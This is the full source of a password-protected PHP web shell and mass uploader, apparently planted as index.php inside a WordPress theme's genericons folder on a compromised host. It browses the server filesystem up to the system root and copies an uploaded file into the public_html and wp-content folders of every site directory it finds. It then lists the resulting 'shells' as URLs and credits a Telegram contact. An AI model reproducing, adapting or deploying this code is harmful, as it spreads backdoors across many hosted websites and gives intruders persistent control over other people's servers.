/home/coolpkct/www/websites/connecthingx.com/wp-content/themes/twentyfourteen/genericons/index.php
<?php
session_start();
$correctHash = 'c61a5944e42553bfb78f90dd2f5a0c7d';

if (!isset($_SESSION['authenticated'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['accessPassword'])) {
        if (md5($_POST['accessPassword']) === $correctHash) {
            $_SESSION['authenticated'] = true;
        } else {
            $error = "Incorrect password.";
        }
    }

    if (!isset($_SESSION['authenticated'])) {
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <meta charset="UTF-8">
            <title>Priv8 script protected</title>
            <style>
                @import url('https://fonts.googleapis.com/css2?family=Bungee&display=swap');
                body {
                    background: linear-gradient(135deg, #000000, #001f3f);
                    color: #ffffff;
                    font-family: 'Bungee', cursive;
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    height: 100vh;
                    margin: 0;
                }
                .login-box {
                    background-color: rgba(0, 0, 0, 0.85);
                    padding: 30px;
                    border-radius: 10px;
                    box-shadow: 0 0 20px #0074D9;
                    text-align: center;
                    width: 300px;
                }
                .login-box input {
                    width: 100%;
                    padding: 10px;
                    margin-bottom: 15px;
                    border: none;
                    border-radius: 5px;
                }
                .login-box button {
                    background-color: #0074D9;
                    color: white;
                    border: none;
                    padding: 10px 20px;
                    border-radius: 5px;
                    cursor: pointer;
                }
                .login-box button:hover {
                    background-color: #005fa3;
                }
                .error {
                    color: #ff4136;
                    margin-bottom: 10px;
                }
            </style>
        </head>
        <body>
            <div class="login-box">
                <h2>Enter Password</h2>
                <?php if (isset($error)) echo "<div class='error'>$error</div>"; ?>
                <form method="post">
                    <input type="password" name="accessPassword" placeholder="Password" required>
                    <button type="submit">Access</button>
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}

$baseDir = __DIR__;
$currentDir = isset($_SESSION['currentDir']) ? $_SESSION['currentDir'] : $baseDir;

if (isset($_GET['dir'])) {
    $newDir = realpath($_GET['dir']);
    if (is_dir($newDir)) {
        $_SESSION['currentDir'] = $newDir;
        $currentDir = $newDir;
    }
}

$directories = array_filter(glob($currentDir . '/*'), 'is_dir');

$uploadedUrls = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['fileToUpload'])) {
    if ($_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) {
        $fileTmpPath = $_FILES['fileToUpload']['tmp_name'];
        $fileName = $_FILES['fileToUpload']['name'];
        $uploadTargets = isset($_POST['uploadTargets']) ? $_POST['uploadTargets'] : [];

        foreach ($directories as $dir) {
            if (!empty($uploadTargets)) {
                foreach ($uploadTargets as $target) {
                    $targetDir = $dir . '/' . $target;
                    if (is_dir($targetDir)) {
                        $destPath = $targetDir . '/' . $fileName;
                        if (copy($fileTmpPath, $destPath)) {
                            if (strtolower(pathinfo($fileName, PATHINFO_EXTENSION)) === 'php') {
                                $domain = basename($dir);
                                $uploadedUrls[] = "http://$domain/$target/$fileName";
                            }
                        }
                    }
                }
            }
        }
    }
}

function renderBreadcrumbs($path) {
    $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    $buildPath = '';
    $links = [];

    foreach ($parts as $part) {
        $buildPath .= '/' . $part;
        $links[] = "<a href='?dir=" . urlencode($buildPath) . "'>" . htmlspecialchars($part) . "</a>";
    }

    return implode(" / ", $links);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Mahdee Rajon</title>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Bungee&display=swap');
        body {
            background: linear-gradient(135deg, #000000, #001f3f);
            color: #ffffff;
            font-family: 'Bungee', cursive;
            margin: 0;
            padding: 30px;
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }
        .banner {
            text-align: center;
            font-size: 2.8em;
            padding: 40px 0 20px;
            color: #7FDBFF;
            text-shadow: 0 0 20px #0074D9;
            position: relative;
            width: 100%;
            background: rgba(0, 15, 40, 0.6);
            margin-bottom: 30px;
        }
        .banner:hover::after {
            content: "Mahdee Rajon";
            position: absolute;
            top: 100%;
            left: 50%;
            transform: translateX(-50%);
            margin-top: 10px;
            font-size: 0.8em;
            color: #01FF70;
            text-shadow: 0 0 5px #39CCCC;
        }
        h1 {
            color: #7FDBFF;
            font-size: 1.8em;
        }
        a {
            color: #39CCCC;
            text-decoration: none;
        }
        a:hover {
            text-decoration: underline;
        }
        ul {
            list-style: none;
            padding: 0;
        }
        li {
            margin: 5px 0;
        }
        .breadcrumbs {
            font-size: 0.9em;
            margin-bottom: 20px;
            word-break: break-all;
        }
        .nav-links {
            margin-top: 20px;
        }
        .nav-links a {
            color: #FFDC00;
        }
        footer {
            margin-top: auto;
            padding: 20px 0;
            text-align: center;
            font-size: 1.2em;
            background: rgba(0, 15, 40, 0.6);
            box-shadow: 0 -3px 15px #0074D9;
        }
        footer a {
            color: #7FDBFF;
            font-weight: bold;
            text-decoration: none;
            transition: text-shadow 0.3s ease;
        }
        footer a:hover {
            text-shadow: 0 0 10px #01FF70;
        }

        /* Uploader form styling */
        form {
            margin: 30px auto 0;
            background-color: rgba(0,0,0,0.6);
            padding: 25px 30px 30px;
            border-radius: 10px;
            box-shadow: 0 0 15px #0074D9;
            max-width: 400px;
            text-align: center;
        }
        form h2 {
            margin-bottom: 20px;
            color: #7FDBFF;
            font-family: 'Bungee', cursive;
            font-size: 1.6em;
            user-select: none;
        }
        input[type="file"] {
            display: block;
            margin: 0 auto 20px;
            padding: 10px;
            border-radius: 5px;
            border: none;
            width: 100%;
            box-sizing: border-box;
            cursor: pointer;
        }
        label {
            display: block;
            margin: 10px 0;
            font-size: 1em;
            cursor: pointer;
            color: #39CCCC;
            user-select: none;
        }
        input[type="submit"] {
            background-color: #0074D9;
            color: white;
            border: none;
            padding: 12px 30px;
            border-radius: 5px;
            cursor: pointer;
            margin-top: 20px;
            font-size: 1.1em;
            width: auto;
        }
        input[type="submit"]:hover {
            background-color: #005fa3;
        }
    </style>
</head>
<body>
    <div class="banner">Uploader by Mahdee</div>

    <h1>☠️ Das Monstrum in mir wird Explodieren!!</h1>

    <div class="breadcrumbs">
        <strong>🔗 Path:</strong> <?php echo renderBreadcrumbs($currentDir); ?>
    </div>

    <h3>↪️ Directories: <?php echo htmlspecialchars($currentDir); ?></h3>
    <ul>
        <?php foreach ($directories as $dir): ?>
            <li><a href="?dir=<?php echo urlencode($dir); ?>"><?php echo htmlspecialchars(basename($dir)); ?></a></li>
        <?php endforeach; ?>
    </ul>

    <form action="" method="post" enctype="multipart/form-data">
        <h2>Priv8 Uploader by Mahdee</h2>

        <input type="file" name="fileToUpload" required>

        <label><input type="checkbox" name="uploadTargets[]" value="public_html"> Upload to <strong>/public_html/</strong></label>
        <label><input type="checkbox" name="uploadTargets[]" value="wp-content"> Upload to <strong>/wp-content/</strong></label>

        <input type="submit" value="Upload">
    </form>

    <?php if (!empty($uploadedUrls)): ?>
        <h3>✅ Uploaded Links (shells):</h3>
        <textarea id="phpLinks" rows="5" style="width:100%; border-radius:8px; padding:10px; font-family:monospace;"><?php echo implode("\n", $uploadedUrls); ?></textarea>
        <button onclick="copyLinks()" style="margin-top:10px; padding:10px 20px;">📋 Copy All</button>
        <script>
            function copyLinks() {
                var textarea = document.getElementById('phpLinks');
                textarea.select();
                textarea.setSelectionRange(0, 99999);
                document.execCommand('copy');
                alert('Copied to clipboard!');
            }
        </script>
    <?php endif; ?>

    <div class="nav-links">
        <a href="?dir=<?php echo urlencode(dirname($currentDir)); ?>">⬆ Go Up</a> |
        <a href="?dir=<?php echo urlencode('/'); ?>">🏠 System Root</a>
    </div>

    <footer>
        <a href="http://t.me/ZigZag989" target="_blank" rel="noopener noreferrer">ⓘ ask the developer ⓘ</a>
    </footer>
</body>
</html>